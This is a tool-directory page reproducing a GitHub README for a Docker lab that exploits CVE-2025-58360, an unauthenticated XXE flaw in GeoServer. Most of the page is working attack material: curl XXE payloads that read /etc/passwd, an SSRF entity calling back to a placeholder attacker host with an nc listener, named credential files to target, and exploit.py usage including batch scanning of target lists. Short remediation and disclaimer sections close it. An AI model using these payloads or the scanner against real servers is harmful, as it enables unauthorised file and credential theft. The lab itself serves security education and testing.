Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/joker-wiggin/cve-2025-58360-geoserver-xxe
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubjoker-wiggin/cve-2025-58360-geoserver-xxe

CVE-2025-58360-GeoServer-XXE

Docker-based lab demonstrating CVE-2025-58360, a critical unauthenticated XXE injection in GeoServer WMS/OWS services. Includes exploit script for file read, SSRF, and directory enumeration.

View Repository
4011 months agoNot yet reviewed
Share

CVE-2025-58360: GeoServer XXE Lab

Unauthenticated XML External Entity (XXE) Injection in GeoServer OWS/WMS Services

CVSS: 9.8 CRITICAL
Affected: <= 2.25.5, 2.26.0-2.26.1
Fixed: 2.25.6+, 2.26.2+, 2.27.0+

Overview

This lab demonstrates CVE-2025-58360, a critical XXE vulnerability in GeoServer's WMS/OWS XML request handling. The vulnerability allows unauthenticated attackers to:

  • Read arbitrary files from the server filesystem
  • List directory contents via Java's file:// handler
  • Perform SSRF attacks against internal services
  • Steal credentials from GeoServer configuration files

Root Cause

GeoServer's SLDParser.parseSLD() method processes XML styling documents without proper entity resolution restrictions. While the OWS dispatcher uses AllowListEntityResolver to block XXE, the SLD parsing code path bypasses this protection:

POST /geoserver/ows?service=WMS&request=GetMap
     |
     v
+-----------------------------+
|   OWS Dispatcher            | <-- EntityResolver configured
|   (Detects SLD in body)     |
+-----------------------------+
     |
     v
+-----------------------------+
|   SLDXmlRequestReader       |
|   -> SLDHandler.parse()     |
|   -> SLDParser.parseSLD()   | <-- NO EntityResolver!
+-----------------------------+
     |
     v
   XXE RESOLVED -> File/SSRF

Quick Start

# Start both vulnerable and patched instances
docker-compose up -d

# Vulnerable: http://localhost:8080/geoserver
# Patched:    http://localhost:8081/geoserver

# Wait ~60 seconds for startup

Default Credentials: admin / geoserver


Exploitation

File Read

curl -s -X POST \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <n>&xxe;</n>
  </NamedLayer>
</StyledLayerDescriptor>' \
  "http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"

Vulnerable Response:

<ServiceException>
  Unknown layer: root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  ...
</ServiceException>

Patched Response:

<ServiceException>
  Entity resolution disallowed for file:///etc/passwd
</ServiceException>

High-Value Targets

file:///opt/geoserver_data/security/usergroup/default/users.xml
file:///opt/geoserver_data/global.xml

Directory Listing

Java's file:// handler reads directories as newline-separated file lists:

# List root directory
python3 exploit.py -u http://localhost:8080 --file /

# Enumerate geoserver data
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/security/

Output:

__cacert_entrypoint.sh
.dockerenv
bin
boot
dev
etc
home
...

This allows full filesystem enumeration before targeting specific files.

SSRF

# Start listener
nc -lvnp 9999

# Send payload
curl -s -X POST \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "http://YOUR_IP:9999/callback">
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <n>&xxe;</n>
  </NamedLayer>
</StyledLayerDescriptor>' \
  "http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"

Using the Exploit Script

# Version check
python3 exploit.py -u http://localhost:8080

# Safe probe (no data exfil)
python3 exploit.py -u http://localhost:8080 --probe

# File read
python3 exploit.py -u http://localhost:8080 --file /etc/passwd

# SSRF
python3 exploit.py -u http://localhost:8080 --ssrf http://attacker:9999/callback

# Verbose mode
python3 exploit.py -u http://localhost:8080 --file /etc/passwd -v

# Batch scan
python3 exploit.py --list targets.txt --output vulnerable.txt

Lab Contents

geoserver-xxe-lab/
├── README.md
├── docker-compose.yml
└── exploit.py

Remediation

Upgrade to GeoServer 2.25.6+, 2.26.2+, or 2.27.0+


Disclaimer

For authorized security testing and educational purposes only.


El Perro Joke

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    589
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    361
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    339
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    324
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    322

Explore all tools

Browse our collection of tools

View all tools →